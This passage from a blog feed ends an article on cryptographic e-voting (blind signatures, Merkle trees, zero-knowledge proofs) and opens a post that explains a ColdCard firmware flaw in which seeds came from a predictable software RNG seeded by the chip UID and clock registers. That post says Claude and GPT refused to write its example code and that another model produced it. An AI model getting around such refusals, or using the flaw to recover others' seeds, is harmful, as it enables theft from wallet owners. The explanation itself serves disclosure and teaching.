</span></span><span class="line"><span class="cl"><span class="c1"># 1. the machine blinds the commitment with a random factor r</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl"><span class="n">cego</span> <span class="o">=</span> <span class="p">(</span><span class="n">C</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>       <span class="c1"># 2341 -&gt; this is all the desk sees</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. the desk, which already logged your authentication, signs the BLIND value</span>
</span></span><span class="line"><span class="cl"><span class="n">ass_cego</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">cego</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>      <span class="c1"># 216</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. the machine removes the blind factor and publishes (C, s) to the tree</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="n">ass_cego</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span> <span class="o">%</span> <span class="n">n</span>  <span class="c1"># 2802</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># any auditor checks: s^e mod n == C ?</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span>   <span class="c1"># 16 -&gt; the commitment, with a valid signature!</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Notice: the desk only saw the number 2341, which to them is noise. They signed 216 without knowing they were signing your <code>C = 16</code>. Yet the pair <code>(C, s)</code> passes any auditor&rsquo;s verification. It&rsquo;s a regular digital signature — <code>s</code> is exactly <code>C^d mod n</code> — just produced without the signer ever seeing the document. It looks like a magic trick, but it&rsquo;s plain RSA algebra: blinding multiplies by <code>r^e</code>; signing raises everything to <code>d</code>, and since <code>e·d ≡ 1</code>, what&rsquo;s left is <code>C^d · r</code>; unblinding divides by <code>r</code>, leaving <code>C^d</code>.</p>
<p>Now assemble the full picture: <strong>a leaf only enters the tree carrying two things — the ZK validity proof (Building block 5) and a credential signed by the desk (Building block 6).</strong> The desk issues one credential per authentication, and authentication is a public event: there&rsquo;s a line at the precinct, poll workers, party watchers, the biometric log, the per-precinct attendance count published every election. At the end of the day, the equation anyone can check is:</p>
<p><strong>number of leaves in the tree == number of authenticated voters.</strong></p>
<p>A phantom vote is a leaf without a credential (doesn&rsquo;t get in) or a credential without a voter (inflates the count and shows). Removing a legitimate vote breaks the receipt&rsquo;s inclusion proof (Building block 3). Altering a published vote breaks the hashes on the observers&rsquo; copies. Stealing credentials would mean fooling the biometrics in front of watchers. Every fraud path hits a different wall — and every wall is checkable by anyone, from home.</p>
<h2>The weakest link: who proves you are you?<span class="hx:absolute hx:-mt-20" id="the-weakest-link-who-proves-you-are-you"></span>
    <a href="#the-weakest-link-who-proves-you-are-you" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Everything before this section is math. But there&rsquo;s one door no math can lock: authentication. No algorithm proves the human standing in front of you is who they claim to be. That is, honestly, the weakest link in the entire system — and it&rsquo;s worth facing head-on.</p>
<p>And here Brazil simplifies the problem, because it already paid the expensive part: the voter biometric registry exists and covers over 80% of the electorate — more than 124 million people, <a href="https://www.tse.jus.br/comunicacao/noticias/2024/Fevereiro/eleitores-sem-cadastro-biometrico-podem-votar-normalmente"target="_blank" rel="noopener">per the electoral court</a>. National deduplication already ran: one finger exists only once in the roll, no matter how many forged documents back it up. And fingerprints already release the vote at the precinct — in 2026, in <a href="https://www.tre-mg.jus.br/comunicacao/noticias/2026/Julho/manual-do-eleitor-entenda-como-vai-funcionar-a-biometria-nas-eleicoes-2026"target="_blank" rel="noopener">every precinct in the country</a>. For this article&rsquo;s hypothetical system, biometric authentication is free: reuse what&rsquo;s already standing.</p>
<p>Of course, that registry existing is itself the privacy bet: biometrics are irrevocable data — you can change a password, not your fingerprints. Aadhaar, India&rsquo;s biometric registry, had incidents exposing data on over a billion people; the OPM, the US government&rsquo;s HR office, lost 5.6 million fingerprints in a single 2015 breach. A national biometric database is a single point of catastrophic, permanent failure — and Brazil already made that bet. The hypothetical system doesn&rsquo;t make it worse; it just inherits it.</p>
<p>For anyone outside the biometric registry, the precinct falls back to the photo ID — and cards get forged. They probably get forged today. But notice what the architecture does to that problem: one forged authentication mints <strong>one</strong> credential, which yields <strong>one</strong> leaf in the tree. To fraud at scale, the criminal needs flesh-and-blood people showing up in person, in front of poll workers and watchers, once per fake vote. That&rsquo;s retail fraud: expensive, visible, slow. A thousand fake votes require a thousand bodies — and then it&rsquo;s not silent digital fraud anymore, it&rsquo;s chartered-bus logistics everyone sees rolling by. The system doesn&rsquo;t prevent forgery; it <strong>caps the damage per forgery at exactly one vote</strong> and pushes the cost into the physical world.</p>
<p>And anomalies surface: the equation from Building block 6 — leaves == authentications — can be checked precinct by precinct. A precinct with 400 registered voters and 420 authentications raises eyebrows. Regional turnout above 100% raises eyebrows. And if paranoia runs high, the desk&rsquo;s signing key can be fragmented like the election key, requiring a quorum to issue credentials.</p>
<p>The honest summary: the link stays physical and human — a human proving, once, in public, that they&rsquo;re on the roll — and no system, however perfect, eliminates it. The best possible design does two things with it: shrinks the trust surface down to that single event and makes its failures <strong>visible</strong> instead of silent. With biometrics valid at every precinct in 2026, identity forgery becomes the most expensive, least scalable path of all — which is exactly where a well-designed system wants it. There&rsquo;s no free lunch, and pretending there is one is the kind of pitch this whole article refuses to make.</p>
<h2>Putting it all together: the full protocol<span class="hx:absolute hx:-mt-20" id="putting-it-all-together-the-full-protocol"></span>
    <a href="#putting-it-all-together-the-full-protocol" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The hypothetically perfect election would go like this:</p>
<ol>
<li><strong>Setup.</strong> A group of independent authorities (the electoral court, the bar association, parties, civil society) jointly generates the election&rsquo;s public key. The corresponding private key stays fragmented: no single authority can decrypt anything; only a majority acting together can.</li>
<li><strong>Authentication.</strong> The voter identifies at the registration desk — ID, biometrics, like today — and the desk logs the authentication. This authorizes the issuance of <strong>one</strong> credential: the blind signature on a commitment, without the desk seeing the content. No link between identity and vote.</li>
<li><strong>Voting.</strong> The voter picks the candidate on the screen. The machine generates a random nonce, computes the Pedersen commitment and the ElGamal ciphertext of the same vote (the commitment becomes the receipt&rsquo;s serial; the ciphertext is what gets tallied), produces the ZK validity proof, and shows the commitment on screen. The voter then decides: cast, and the nonce is destroyed — or challenge, and the machine reveals the nonce for an on-the-spot check, the ballot is spoiled, and they vote again. Once cast, the machine blinds the commitment, the desk signs it sight unseen, and the machine unblinds the signature.</li>
<li><strong>Publication.</strong> The commitment goes into a public Merkle tree, together with the ZK proof and the credential — replicated and signed by multiple independent observers. No credential, no entry.</li>
<li><strong>Receipt.</strong> The voter takes home a slip of paper with the serial. They <strong>cannot</strong> prove to anyone who they voted for — even if they want to, because they don&rsquo;t have the nonce.</li>
<li><strong>Individual verification.</strong> At home, the voter downloads the tree (or uses any independent website) and checks their serial is there, with the inclusion proof. If it isn&rsquo;t, they hold material proof of fraud.</li>
<li><strong>Universal verification.</strong> Any citizen, university, or party rebuilds the entire tree, checks the root, validates every ZK proof and credential, and confirms the leaf count matches the published per-precinct authentication totals.</li>
<li><strong>Tallying.</strong> In the end, the encrypted votes go through a mix-net (they get re-shuffled and re-encrypted, severing the link to their original positions) and the authorities decrypt jointly, proving each step. The total matches the public root, or the fraud is evident.</li>
</ol>
<p>Notice what changed relative to the current system: <strong>you no longer need to trust the electoral court, the voting machine, or any auditor.</strong> Every property is individually verifiable by anyone with a computer. It&rsquo;s the same principle that lets Bitcoin work without a central bank: don&rsquo;t trust, verify.</p>
<p>Before anyone gets too excited: this is a simplification. A real system still has to solve anonymous credentials more robust than our toy blind signature, tree availability, and a pile of operational details. The point here is not the complete design; it&rsquo;s the core mechanism.</p>
<h2>Why this would never work<span class="hx:absolute hx:-mt-20" id="why-this-would-never-work"></span>
    <a href="#why-this-would-never-work" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now for the part almost nobody proposing these systems wants to hear.</p>
<p>Scroll back to the beginning of this article and notice what I had to explain to get here: hash functions, commitments, modular arithmetic, discrete logarithms, Merkle trees, the Benaloh challenge, blind signatures, zero-knowledge proofs, simulators. With code, with numbers, with step-by-step examples. And even so, I&rsquo;d bet a good share of readers — programmers included — made it here without full certainty that they truly understand why the scheme is secure.</p>
<p>And that&rsquo;s not for lack of intelligence. It&rsquo;s because trusting this system requires understanding math that the vast majority of the population will never understand. The only human being who can be <strong>100% certain</strong> this system is correct is the one who can verify the mathematical proofs on their own. Everyone else — 99.9% of the population — wouldn&rsquo;t be <em>verifying</em> anything. They&rsquo;d be <strong>believing</strong> the mathematician who says it works.</p>
<p>And here we hit the fatal contradiction: if an electoral system requires the ordinary citizen to blindly believe a specialist they can&rsquo;t audit, it is <strong>exactly as opaque as the TSE&rsquo;s current system</strong>. The opacity just moved address: instead of trusting the court bureaucrat, you trust the cryptographer. For dona Maria, who sells pastel at the street market, it&rsquo;s all the same — both are &ldquo;a bunch of mumbo-jumbo I don&rsquo;t understand&rdquo;. And a system the population cannot understand is a system whose legitimacy it will never accept. Today&rsquo;s skeptic saying &ldquo;I don&rsquo;t trust the voting machine&rdquo; would become tomorrow&rsquo;s skeptic saying &ldquo;I don&rsquo;t trust this algebra&rdquo;.</p>
<p>An election is not only an engineering problem; it&rsquo;s a <strong>social trust</strong> problem. The gold standard of transparency is the system <strong>anyone can watch with their own eyes</strong>: paper ballot, glass ballot box, public counting at the precinct, the tally posted on the door. Anyone understands paper being counted in public. Nobody has to believe anybody.</p>
<p>That&rsquo;s why countries far richer and more technological than Brazil — Germany, the Netherlands, France, most of the US — stick with paper or demand an auditable paper trail. That&rsquo;s not backwardness. It&rsquo;s the recognition that verifiability only specialists understand is not public verifiability.</p>
<h2>Sidebar: what cryptocurrencies prove every day<span class="hx:absolute hx:-mt-20" id="sidebar-what-cryptocurrencies-prove-every-day"></span>
    <a href="#sidebar-what-cryptocurrencies-prove-every-day" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before wrapping up, a detour to answer the question that always comes up: &ldquo;but does this actually work, or is it napkin theory?&rdquo; It works. And the proof has been running for almost two decades, moving billions of dollars, under constant attack: blockchains.</p>
<p>First, clearing up a misunderstanding: <strong>blockchain is not synonymous with cryptocurrency.</strong> As the name says, it&rsquo;s just a chain of blocks. Each block carries a Merkle tree of records and the previous block&rsquo;s hash. In Bitcoin, the block header holds the transaction tree&rsquo;s root, the previous block&rsquo;s hash, a timestamp, and a nonce — here, a mining counter — that miners vary until the hash of the entire block falls below the difficulty target: the famous proof of work. It&rsquo;s Building block 3 of this article, extended through time: not one tree, but a chain of trees, each sealing the one before.</p>
<p>The practical result is the guarantee that matters here: tamper with <strong>one transaction</strong> in an old block and the tree&rsquo;s root changes, the block&rsquo;s hash changes, the link to the next block breaks, and to hide that you&rsquo;d need to redo the proof of work of every block up to today — while thousands of honest nodes keep extending the true chain. Once everything is signed and sealed by hash, rewriting the past is computationally impossible. That&rsquo;s exactly why Bitcoin can be 100% public: the exposure itself is the protection. Everyone has a copy of everything, so nobody rewrites history.</p>
<p><strong>But public does not mean anonymous.</strong> That&rsquo;s the part most people get wrong. In Bitcoin, every transaction stays visible forever: which addresses fed it, which received, how much moved. Addresses are pseudonyms — pen names, not anonymity. And there&rsquo;s an entire chain-analysis industry (Chainalysis, Elliptic, TRM) making a living gluing identities to those pen names:</p>
<ul>
<li><strong>Common-input heuristic:</strong> if a transaction spends coins from several addresses, they almost certainly belong to the same wallet. Group them into a cluster.</li>
<li><strong>Change detection:</strong> the output that returns to a fresh address usually belongs to the payer.</li>
<li><strong>Bridge to the real world:</strong> when a cluster&rsquo;s address touches a KYC exchange, a name and a tax ID attach to the whole cluster — and to its complete history, retroactively.</li>
</ul>
<p>That&rsquo;s how the FBI recovered part of the Colonial Pipeline ransom, that&rsquo;s how the Silk Road coins were traced years later, and that&rsquo;s how the ~1,128 BTC stolen from ColdCards are still sitting in known addresses half the world is watching — I detailed it in the <a href="/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/">article about Coinkite&rsquo;s RNG</a>. If the thief moves a single satoshi to a KYC exchange, they identify themselves. The chain guarantees integrity, not secrecy.</p>
<p>For real anonymity, the chain alone doesn&rsquo;t cut it: you need zero-knowledge proofs. Monero, for instance, combines three techniques:</p>
<ol>
<li><strong>Ring signatures:</strong> each spend is signed on behalf of a group of possible keys. The signature proves <strong>one of them</strong> authorized it, without revealing which.</li>
<li><strong>Stealth addresses:</strong> the recipient&rsquo;s address never appears on the chain; each payment creates a disposable address derived from a shared secret.</li>
<li><strong>RingCT</strong> (<em>confidential transactions</em>): amounts stay hidden inside <strong>Pedersen commitments</strong> — yes, the exact same Building block 2 from this article — and a ZK range proof guarantees nobody minted coins out of thin air, without revealing any amount.</li>
</ol>
<p>Zcash follows the same philosophy with zk-SNARKs: you prove &ldquo;I own a valid, unspent note&rdquo; without revealing which note. The network verifies the proof, accepts the transaction, and learns neither sender, recipient, nor value.</p>
<p>And here the circle closes. Look at what this article&rsquo;s electoral scheme uses: a public, immutable structure anyone can verify (the Merkle tree, the blockchain&rsquo;s simpler cousin), Pedersen commitments to hide content (the same primitive as Monero), and ZK proofs to guarantee validity without revelation (the same family as Monero and Zcash). None of this is lab conjecture: these are production systems, audited, attacked daily, protecting real money. An election is, if anything, a simpler problem — short window, a single publisher, offline verification.</p>
<p>That&rsquo;s why I said at the beginning that the idea is mathematically solid: it invents nothing, it just composes pieces that already proved they can survive the real world. We know an end-to-end verifiable digital election <strong>could</strong> be built, because every one of its components is already built and running. Which brings us back to the problem that isn&rsquo;t technical.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Let me make it clear once more, as I did in the tweets: <strong>this is not a proposal, it&rsquo;s an exercise.</strong> I don&rsquo;t know the solution to Brazil&rsquo;s electoral trust problem. If I did, I&rsquo;d be publishing a paper, not a blog post.</p>
<p>But the exercise is worth it for two reasons. First, because it shows the technology for individual and universal verifiability <strong>exists</strong> — anyone who says &ldquo;digital elections are inherently unauditable&rdquo; is wrong. Second, because it shows the real limit: the frontier isn&rsquo;t technical, it&rsquo;s epistemological. A perfect system nobody understands fails at the same point as an imperfect system nobody can audit.</p>
<p>If you understood every line of this article, congratulations: you&rsquo;re part of a minority far too small to carry a democracy on its back.</p>
<h2>Appendix 1: so is the current system auditable?<span class="hx:absolute hx:-mt-20" id="appendix-1-so-is-the-current-system-auditable"></span>
    <a href="#appendix-1-so-is-the-current-system-auditable" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A fair question hangs in the air: so the current system has no auditing at all? It does, and it&rsquo;s worth being honest about that. What doesn&rsquo;t exist is a specific kind of audit: one that doesn&rsquo;t depend on software. Let&rsquo;s take it piece by piece.</p>
<p>The current arsenal, summarized and sourced:</p>
<ul>
<li><strong>Source code inspection.</strong> Parties, the bar association, the federal audit court, the Federal Police, the prosecutor&rsquo;s office, and universities can examine the systems&rsquo; code at the electoral court&rsquo;s headquarters, months before the election — the so-called <a href="https://www.tse.jus.br/comunicacao/noticias/2025/Novembro/codigos-fonte-do-ciclo-de-transparencia-ao-teste-publico-da-urna"target="_blank" rel="noopener">transparency cycle</a>.</li>
<li><strong>Public Security Test (TPS).</strong> Outside researchers genuinely try to attack the system. And it works: in 2012, professor Diego Aranha&rsquo;s team unscrambled the RDV and showed it was possible to learn who each voter had voted for; in 2017, they managed to tamper with the voting software before installation (the story is in <a href="https://revistapesquisa.fapesp.br/a-urna-eletronica-na-maturidade/"target="_blank" rel="noopener">Revista Pesquisa FAPESP</a> and in this <a href="https://www.agencialupa.org/jornalismo/2023/11/27/entenda-como-funciona-o-teste-de-seguranca-das-urnas-eletronicas-feito-pelo-tse/"target="_blank" rel="noopener">Lupa summary</a>). The flaws found were fixed afterwards.</li>
<li><strong>Zero report, BU, and the Integrity Test.</strong> Before voting starts, the machine prints a zeroed-out report. At the end of the day, it prints the Boletim de Urna, posted at the precinct and published digitally with a QR code — anyone can download the BUs and add them up independently. And a random sample of machines is diverted to a filmed parallel vote, comparing the paper record against the digital one.</li>
<li><strong>RDV — the &ldquo;digital recount&rdquo;.</strong> The machine records each individual vote in a shuffled, anonymized file, published afterwards (<a href="https://www.tse.jus.br/legislacao/compilada/res/2021/resolucao-no-23-673-14-de-dezembro-de-2021"target="_blank" rel="noopener">definition in TSE Resolution 23.673/2021</a>). Parties and authorized entities can re-sum the votes and cross-check against the BUs and the official tally — the official mechanism presented as the substitute for a paper recount (<a href="https://www.tse.jus.br/eleicoes/historia/processo-eleitoral-brasileiro/votacao/votacao-segura"target="_blank" rel="noopener">the electoral court&rsquo;s explanation</a>).</li>
<li><strong>External audits.</strong> In 2022, the federal audit court (TCU) cross-checked 9 million records from 4,577 precincts against the tallying database and found zero discrepancies — probability of fraud &ldquo;approaching 0%&rdquo; (<a href="https://www.cnnbrasil.com.br/politica/auditoria-do-tcu-diz-que-possibilidade-de-fraude-nas-eleicoes-de-2022-e-proxima-de-0/"target="_blank" rel="noopener">CNN Brasil</a>). The Carter Center observed the 2022 elections, registered no evidence of fraud, and acknowledged the audits&rsquo; expansion (<a href="https://www.cartercenter.org/news/pr/2022/brazil-100522-portuguese.pdf"target="_blank" rel="noopener">mission statement</a>).</li>
</ul>
<p>Now the &ldquo;but&rdquo; this whole article builds toward: <strong>every layer on that list depends on software or on a ceremony run by the electoral court itself.</strong> The BU × RDV comparison proves internal consistency — that the published numbers match the recorded numbers. It does not prove the recorded numbers reflect what voters pressed on the screen, because a tampered machine would produce a tampered BU and RDV in perfect mutual agreement. As Aranha himself puts it: every audit available today depends on the software; if the program is tampered with, every check falls together (<a href="https://www1.folha.uol.com.br/poder/2021/06/so-brasil-bangladesh-e-butao-usam-urna-eletronica-sem-comprovante-do-voto-impresso.shtml"target="_blank" rel="noopener">Folha de S.Paulo</a>). And the Integrity Test, which covers a small sample of machines, is a poor cousin of the Benaloh challenge from Building block 4: instead of each voter auditing their own ballot on the spot, the auditing is done by a sample drawn and conducted by the system itself.</p>
<p>There&rsquo;s also the legal chapter: the attempt to create a voter-verifiable paper record, the &ldquo;printed vote,&rdquo; was ruled unconstitutional by the Supreme Court in ADI 4543 over ballot-secrecy risks, and the attempt to revive it was struck down again in 2020 (<a href="https://conjur.com.br/2020-set-16/supremo-confirma-liminar-impede-volta-voto-impresso/"target="_blank" rel="noopener">Conjur</a>). The irony is that this article&rsquo;s scheme resolves exactly the conflict that killed the printed vote: a verifiable receipt <strong>without</strong> breaking secrecy, via commitments and ZK proofs. The math unlocks what paper couldn&rsquo;t. Everything else stays locked, as the previous sections explain.</p>
<p>So the honest verdict: the Brazilian system is auditable in real digital and procedural ways, and no fraud altering an outcome has ever been proven in nearly 30 years of electronic voting. But there is no software-independent recount, because there is no voter-verified physical record. In the language of election-security research, a true <em>risk-limiting audit</em> is not possible. Trust stays deposited in the software, the pre-election inspections, and the custody of digital records — exactly what this article&rsquo;s hypothetical system tries to eliminate.</p>
<h2>Appendix 2: skin in the game — rewarding those who verify<span class="hx:absolute hx:-mt-20" id="appendix-2-skin-in-the-game--rewarding-those-who-verify"></span>
    <a href="#appendix-2-skin-in-the-game--rewarding-those-who-verify" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>One question hangs in the air after assembling the whole scheme: cryptocurrencies work because someone has something to lose. In Bitcoin, the miner burns real energy; in proof-of-stake, the validator deposits capital that gets confiscated if they cheat. And the voter? Voting costs nothing, and checking the receipt at home is work you do for free. The entire system depends on people verifying — and nobody has an incentive to verify. Can you put <em>skin in the game</em> on the voter?</p>
<p>The first idea that comes to mind is a deposit: vote, deposit some money, get it back later through the income tax system. As mechanism design, it has logic — it prices fake identities: a million phantom votes would cost a hundred million reais. In practice, it dies in three places. It&rsquo;s a disguised poll tax, exclusionary and unconstitutional — the refund fixes the accounting, not the cash flow of someone who doesn&rsquo;t have the money to front. The &ldquo;income tax&rdquo; channel doesn&rsquo;t reach most poor Brazilians, who don&rsquo;t even file — so it excludes exactly who the system most needs to include. And it would build, at the tax authority, a database linking identity, bank account, and electoral participation — a surveillance regression bigger than the problem it solves. All that before the plutocratic detail: security priced in money is security buyable by those who have money. Elections are designed to be wealth-blind — one vote per person. Putting a price on the security layer invites the rich to be more equal than the others.</p>
<p>The version that survives this scrutiny flips the sign: instead of charging to vote, <strong>reward those who verify</strong>. The scheme&rsquo;s real soft spot is the individual verification rate — if nobody checks their serial at home, the inclusion proof from Building block 3 becomes decoration. So: every verified receipt enters a public, auditable lottery, with the tree&rsquo;s own root serving as the randomness source (one more use for it). Checked your vote in the tree? You&rsquo;re in the drawing for a prize. The incentive points exactly at the behavior the system needs — millions of eyes checking the tree — without excluding anyone, charging anything, or building a new database, because the lottery runs on the anonymous serial, not on identity.</p>
<p>It&rsquo;s Bitcoin&rsquo;s logic on the right side: there, the block reward pays thousands of machines to keep the ledger honest; here, the prize would pay millions of voters to keep the election honest. It&rsquo;s almost a <em>proof of verification</em>: the block reward pays for the hashing work that keeps Bitcoin going, and the prize would pay for the checking work that would keep the election going. It&rsquo;s not a proposal — like nothing in this article — but as an incentive-design exercise, it&rsquo;s the version I&rsquo;d put on paper.</p>
<h2>Appendix 3: why &ldquo;zero knowledge&rdquo; is so hard to swallow<span class="hx:absolute hx:-mt-20" id="appendix-3-why-zero-knowledge-is-so-hard-to-swallow"></span>
    <a href="#appendix-3-why-zero-knowledge-is-so-hard-to-swallow" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you made it here feeling like you understood each piece individually but wouldn&rsquo;t swear you understood the whole thing, relax: you&rsquo;re in excellent company. When Goldwasser, Micali, and Rackoff formalized zero-knowledge proofs in the 1980s, the idea sounded paradoxical even to career cryptographers. Every proof we&rsquo;d ever known worked by <em>showing</em> something. How can a proof transfer conviction while transferring no information at all?</p>
<p>The math from Building blocks 2 through 5 is the complete answer, but intuition lags behind. So here are two classic analogies involving no equations at all — each one lights up half of the concept.</p>
<p><strong>Where&rsquo;s Waldo?</strong> I claim I found Waldo on the page, and I want to prove it without revealing where he is — otherwise you win the game for free. The solution: I take a huge sheet of cardboard, much bigger than the book, cut a small hole in the middle, and place it over the page so only Waldo shows through. You see Waldo. But since the cardboard covers everything around him, you have no idea which corner of the page he&rsquo;s in. I proved I know the location; you learned zero about it. And notice what holds the proof up: if I didn&rsquo;t know where he was, I couldn&rsquo;t have positioned the cardboard — the odds of landing the hole on Waldo by luck are tiny. It&rsquo;s Ali Baba&rsquo;s cave all over again, this time with cardboard.</p>
<p><strong>The color-blind friend&rsquo;s two balls.</strong> Your friend is red-green color-blind. You have two balls identical in size, weight, and texture — one red, one green — and you claim: &ldquo;these balls are different colors.&rdquo; To him, they&rsquo;re indistinguishable. How do you prove it without revealing which is which? He shows you the balls, one in each hand. He puts his hands behind his back and decides, on his own, whether to swap them or not. He shows them again and asks: &ldquo;did I swap?&rdquo; You, who see the colors, answer correctly every time. He, who doesn&rsquo;t, couldn&rsquo;t do better than 50%. After 20 correct answers in a row, he&rsquo;s convinced the balls differ — the odds of you bluffing 20 rounds are one in a million. And what did he learn about which ball is red? <strong>Nothing.</strong> Every answer you gave (&ldquo;swapped&rdquo;, &ldquo;didn&rsquo;t swap&rdquo;) was something he already knew — after all, he was the one who decided whether to swap. The round&rsquo;s information was already his; the only new thing is the conviction that you can see the difference.</p>
<p>The formal version of that intuition is the simulator from Building block 5: if anyone, knowing no secret at all, can fabricate a &ldquo;recording&rdquo; of a proof session indistinguishable from a real one, then the real session cannot carry any information about the secret. The convincing power comes from the order of operations — commitment first, challenge after. The zero knowledge comes from the recording, on its own, being forgeable. Both things are true at the same time, for different reasons. That&rsquo;s why the concept feels slippery: you&rsquo;re holding two facts that seem to contradict each other until you notice each one rests on something different.</p>
<p>And if the concept still feels slippery after all of this, good: you&rsquo;ve just experienced the article&rsquo;s central argument firsthand.</p>
]]></content:encoded><category>politics</category><category>security</category><category>tutorials</category></item><item><title>Exploiting Coinkite's RNG Egregious Problem</title><link>https://akitaonrails.github.io/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/</guid><pubDate>Sat, 01 Aug 2026 09:00:00 -0300</pubDate><description>&lt;p&gt;Yesterday I published the practical warning: &lt;a href="https://akitaonrails.github.io/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/"&gt;if you keep Bitcoin on a ColdCard, move everything&lt;/a&gt;. Today I will show &lt;strong&gt;how&lt;/strong&gt; it works from the attacker&amp;rsquo;s side. This is not a tutorial for stealing; it is a didactic explanation of a bug class that few people know from the inside, using real blockchain data and code any programmer can read.&lt;/p&gt;
&lt;p&gt;The didactic code in this article was generated with &lt;strong&gt;Kimi K3&lt;/strong&gt;. It is worth noting that, given the same prompt, both &lt;strong&gt;Claude&lt;/strong&gt; and &lt;strong&gt;GPT&lt;/strong&gt; refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Yesterday I published the practical warning: <a href="/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/">if you keep Bitcoin on a ColdCard, move everything</a>. Today I will show <strong>how</strong> it works from the attacker&rsquo;s side. This is not a tutorial for stealing; it is a didactic explanation of a bug class that few people know from the inside, using real blockchain data and code any programmer can read.</p>
<p>The didactic code in this article was generated with <strong>Kimi K3</strong>. It is worth noting that, given the same prompt, both <strong>Claude</strong> and <strong>GPT</strong> refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.</p>
<p>The goal is to answer, line by line, a question many people asked: &ldquo;if the ColdCard stays offline, how did the bitcoins disappear?&rdquo;.</p>
<blockquote>
  <p><strong>Warning:</strong> the code here is educational. Running it against addresses that are not yours is a crime. Use it to understand the risk, test your own seeds in a controlled environment, and reinforce why you need to generate fresh entropy.</p>

</blockquote>
<h2>Summary of the previous post<span class="hx:absolute hx:-mt-20" id="summary-of-the-previous-post"></span>
    <a href="#summary-of-the-previous-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Between March 2021 and the July 2026 fix, several ColdCard firmwares generated seeds from a deterministic generator instead of the hardware TRNG. The blame lies in a botched integration: the macro <code>MICROPY_HW_ENABLE_RNG</code> was defined as <code>0</code>, but the guard in <code>libNgU</code> used <code>#ifndef</code>, which only asks whether the symbol exists. The build succeeded, the <code>rng_get()</code> call fell through to MicroPython&rsquo;s <a href="http://www.literatecode.com/yasmarang"target="_blank" rel="noopener">Yasmarang</a> software fallback, and the seed became a product of the microcontroller UID and timing registers.</p>
<p>For readers who do not work with hardware, here is what those acronyms mean:</p>
<ul>
<li><strong>UID</strong> (<em>Unique Identifier</em>) is the serial number burned into the microcontroller chip at the factory. In the STM32F4 used by the ColdCard, it is 96 bits long — something like <code>0x4A3F B201 C847 D5E9 1234 5678</code>. Every chip leaves the assembly line with a different UID, but it is fixed and can be read by software. If the attacker knows (or can constrain) this number, they eliminate one of the unknowns.</li>
<li><strong>RTC</strong> (<em>Real-Time Clock</em>) is the microcontroller&rsquo;s real-time clock. In a PC, that clock is usually backed by a coin-cell battery and keeps running while the machine is off. <strong>The ColdCard has no such battery.</strong> On Mk2/Mk3 the RTC oscillator is disabled at startup, which strongly suggests that the <code>RTC-&gt;TR</code> and <code>RTC-&gt;SSR</code> registers read as zero or a static value every time the device cold-boots. On Mk4/Q/Mk5 an RTC source is configured but marked unused, and MicroPython&rsquo;s RTC initialization remains disabled. In other words, &ldquo;time&rdquo; is not a fresh entropy source here — it is another fixed or predictable value that an attacker can profile.</li>
